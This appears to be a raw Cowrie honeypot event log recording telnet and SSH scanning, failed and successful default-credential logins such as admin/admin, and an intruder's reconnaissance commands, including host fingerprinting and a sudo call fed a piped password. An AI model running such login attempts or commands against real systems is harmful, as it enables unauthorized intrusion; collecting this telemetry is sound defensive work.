{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3766,"dst_ip":"10.17.0.5","dst_port":23,"session":"d521e8527bf2","protocol":"telnet","message":"New connection: 35.195.250.157:3766 (10.17.0.5:23) [session: d521e8527bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:48.006374Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3774,"dst_ip":"10.17.0.5","dst_port":23,"session":"caa346ec19ea","protocol":"telnet","message":"New connection: 35.195.250.157:3774 (10.17.0.5:23) [session: caa346ec19ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:48.161777Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3782,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b37be0aa682","protocol":"telnet","message":"New connection: 35.195.250.157:3782 (10.17.0.5:23) [session: 5b37be0aa682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:48.318394Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3788,"dst_ip":"10.17.0.5","dst_port":23,"session":"473eaa792756","protocol":"telnet","message":"New connection: 35.195.250.157:3788 (10.17.0.5:23) [session: 473eaa792756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:48.474887Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3802,"dst_ip":"10.17.0.5","dst_port":23,"session":"20abe65fc608","protocol":"telnet","message":"New connection: 35.195.250.157:3802 (10.17.0.5:23) [session: 20abe65fc608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:48.629221Z"}
{"eventid":"cowrie.session.closed","duration":0.0059967041015625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:48.635044Z","src_ip":"35.195.250.157","session":"20abe65fc608","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3810,"dst_ip":"10.17.0.5","dst_port":23,"session":"16cc9cdc88f7","protocol":"telnet","message":"New connection: 35.195.250.157:3810 (10.17.0.5:23) [session: 16cc9cdc88f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:48.785322Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3826,"dst_ip":"10.17.0.5","dst_port":23,"session":"42dcc2c6ed6f","protocol":"telnet","message":"New connection: 35.195.250.157:3826 (10.17.0.5:23) [session: 42dcc2c6ed6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:48.939388Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 505","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 505] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:48.943905Z","src_ip":"35.195.250.157","session":"42dcc2c6ed6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.250.157","src_port":3840,"dst_ip":"10.17.0.5","dst_port":23,"session":"675ab33db893","protocol":"telnet","message":"New connection: 35.195.250.157:3840 (10.17.0.5:23) [session: 675ab33db893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:49.098528Z"}
{"eventid":"cowrie.session.closed","duration":0.0044291019439697266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:49.102829Z","src_ip":"35.195.250.157","session":"675ab33db893","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":33602,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e9def989a54","protocol":"ssh","message":"New connection: 27.71.230.31:33602 (159.203.135.109:22) [session: 7e9def989a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:49.952110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:50.777646Z","src_ip":"27.71.230.31","session":"7e9def989a54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:50.780635Z","src_ip":"27.71.230.31","session":"7e9def989a54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.818324327468872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.123559Z","src_ip":"35.195.250.157","session":"a45ac5acecbf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"password123#","message":"login attempt [root/password123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.174670Z","src_ip":"27.71.230.31","session":"7e9def989a54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.239800453186035,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.179051Z","src_ip":"35.195.250.157","session":"42dcc2c6ed6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.396570205688477,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.181755Z","src_ip":"35.195.250.157","session":"16cc9cdc88f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.711095809936523,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.185861Z","src_ip":"35.195.250.157","session":"473eaa792756","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.870099067687988,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.188342Z","src_ip":"35.195.250.157","session":"5b37be0aa682","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.03101396560669,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.192614Z","src_ip":"35.195.250.157","session":"caa346ec19ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.191373109817505,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.197614Z","src_ip":"35.195.250.157","session":"d521e8527bf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.34890079498291,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.199782Z","src_ip":"35.195.250.157","session":"5314c283873a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.5119047164917,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.202636Z","src_ip":"35.195.250.157","session":"1d3b25d4c9f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.979494571685791,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.204265Z","src_ip":"35.195.250.157","session":"593a2d50773d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.828226327896118,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.206097Z","src_ip":"35.195.250.157","session":"334bc208799a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.67414379119873,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.208224Z","src_ip":"35.195.250.157","session":"7cc87e6abad4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.140209674835205,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.211093Z","src_ip":"35.195.250.157","session":"952351cd87b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.452352285385132,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.213398Z","src_ip":"35.195.250.157","session":"85c91cbec941","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.297916173934937,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.215414Z","src_ip":"35.195.250.157","session":"e5fbdb754b2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.611913442611694,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.217533Z","src_ip":"35.195.250.157","session":"6302c3fbd2e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.767940521240234,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.219867Z","src_ip":"35.195.250.157","session":"8b28a3f8af90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.084877490997314,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.226287Z","src_ip":"35.195.250.157","session":"c3a69c8bd3f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.319409847259521,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.228517Z","src_ip":"35.195.250.157","session":"9a728263afd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.478110790252686,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.230190Z","src_ip":"35.195.250.157","session":"d4fa0be38654","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.635986328125,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.232249Z","src_ip":"35.195.250.157","session":"cc5095990f63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.79158353805542,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.234301Z","src_ip":"35.195.250.157","session":"32503eead854","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.948453903198242,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.235905Z","src_ip":"35.195.250.157","session":"8e74bbfd0041","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.105127811431885,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.238826Z","src_ip":"35.195.250.157","session":"9c27e54ac2fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.262527465820312,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.240824Z","src_ip":"35.195.250.157","session":"7d47f658b0ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.41832685470581,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.242897Z","src_ip":"35.195.250.157","session":"31aea67523f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.619534730911255,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:06:56.245343Z","src_ip":"35.195.250.157","session":"e73cf967555d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:01.828128Z","src_ip":"27.71.230.31","session":"7e9def989a54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00152659416199,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:19.505528Z","src_ip":"128.199.8.54","session":"cae6ea70d6a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":50624,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcb7cc407dc1","protocol":"ssh","message":"New connection: 91.92.40.4:50624 (159.203.135.109:22) [session: dcb7cc407dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:40.684554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:40.825011Z","src_ip":"91.92.40.4","session":"dcb7cc407dc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:40.828106Z","src_ip":"91.92.40.4","session":"dcb7cc407dc1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:41.413320Z","src_ip":"91.92.40.4","session":"dcb7cc407dc1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:41.706503Z","src_ip":"91.92.40.4","session":"dcb7cc407dc1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:41.709741Z","src_ip":"91.92.40.4","session":"dcb7cc407dc1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:41.712858Z","src_ip":"91.92.40.4","session":"dcb7cc407dc1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:41.715835Z","src_ip":"91.92.40.4","session":"dcb7cc407dc1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:41.718728Z","src_ip":"91.92.40.4","session":"dcb7cc407dc1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":44,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:41.823560Z","src_ip":"91.92.40.4","session":"dcb7cc407dc1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:42.070282Z","src_ip":"91.92.40.4","session":"dcb7cc407dc1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'admin' | sudo -S bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0' || bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0'","message":"CMD: echo 'admin' | sudo -S bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0' || bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:42.072582Z","src_ip":"91.92.40.4","session":"dcb7cc407dc1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"m=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0","message":"CMD: m=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:42.074731Z","src_ip":"91.92.40.4","session":"dcb7cc407dc1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"while read k v r","message":"Command not found: while read k v r","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:42.077260Z","src_ip":"91.92.40.4","session":"dcb7cc407dc1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"{ m=$v","message":"Command not found: { m=$v","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:42.080397Z","src_ip":"91.92.40.4","session":"dcb7cc407dc1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"break ","message":"Command not found: break ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:42.082318Z","src_ip":"91.92.40.4","session":"dcb7cc407dc1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"} ","message":"Command not found: } ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:42.084314Z","src_ip":"91.92.40.4","session":"dcb7cc407dc1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f84abb49ff9050ccbbb11a884406779aa473fb3ea34f367ec469800d84b875f3","size":124,"shasum":"f84abb49ff9050ccbbb11a884406779aa473fb3ea34f367ec469800d84b875f3","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f84abb49ff9050ccbbb11a884406779aa473fb3ea34f367ec469800d84b875f3 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:42.353221Z","src_ip":"91.92.40.4","session":"dcb7cc407dc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:07:42.367554Z","src_ip":"91.92.40.4","session":"dcb7cc407dc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":41818,"dst_ip":"159.203.135.109","dst_port":23,"session":"51ed06653486","protocol":"telnet","message":"New connection: 107.6.151.170:41818 (159.203.135.109:23) [session: 51ed06653486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:05.727835Z"}
